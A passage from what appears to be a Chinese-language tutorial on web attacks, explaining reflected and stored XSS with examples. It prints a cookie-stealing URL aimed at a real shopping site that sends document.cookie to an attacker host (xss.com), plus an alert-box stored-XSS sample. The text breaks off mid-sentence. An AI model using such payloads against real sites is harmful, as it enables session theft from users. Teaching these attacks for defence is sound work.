我们最常见的Web安全攻击有以下几种
- XSS 跨站脚本攻击
- CSRF 跨站请求伪造
- clickjacking 点击劫持/UI-覆盖攻击
下面我们来逐个分析
一、XSS 跨站脚本攻击
跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
分类
- Reflected XSS(基于反射的XSS攻击)
- Stored XSS(基于存储的XSS攻击)
- DOM-based or local XSS(基于DOM或本地的XSS攻击)
Reflected XSS(基于反射的XSS攻击)
主要通过利用系统反馈行为漏洞,并欺骗用户主动触发,从而发起Web攻击。
举个栗子:
- 假设,在严选网站搜索商品,当搜索不到时站点会做“xxx未上架提示”。如下图。
-
在搜索框搜索内容,填入“”, 点击搜索。
-
当前端页面没有对填入的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。
(当然上图是模拟的)
以上3步只是“自娱自乐”,XSS最关键的是第四步。
- 进而可以构造获取用户cookies的地址,通过QQ群或者垃圾邮件,来让其他人点击这个地址:
http://you.163.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>
- 如果受骗的用户刚好已经登录过严选网站,那么,用户的登录cookie信息就已经发到了攻击者的服务器(xss.com)了。当然,攻击者会做一些更过分的操作。
Stored XSS(基于存储的XSS攻击)
Stored XSS和Reflected XSS的差别就在于,具有攻击性的脚本被保存到了服务器并且可以被普通用户完整的从服务的取得并执行,从而获得了在网络上传播的能力。
再举个栗子:
- 发一篇文章,里面包含了恶意脚本
你好!当你看到这段文字时,你的信息已经不安全了!<script>alert('xss')</script>
-
后端没有对文章进行过滤,直接保存文章内容到数据库。
-
当其他读者看这篇文章的时候,包含的恶意脚本就会执行。
tips:文章是保存整个HTML内容的,前端显示时候也不做过滤,就极可能出现这种情况。
此为题多从在于博客网站。
如果我们的操作不仅仅是弹出一个信息,而且删除一篇文章,发一篇反动的文章,或者成为我的粉丝并且将这篇带有恶意脚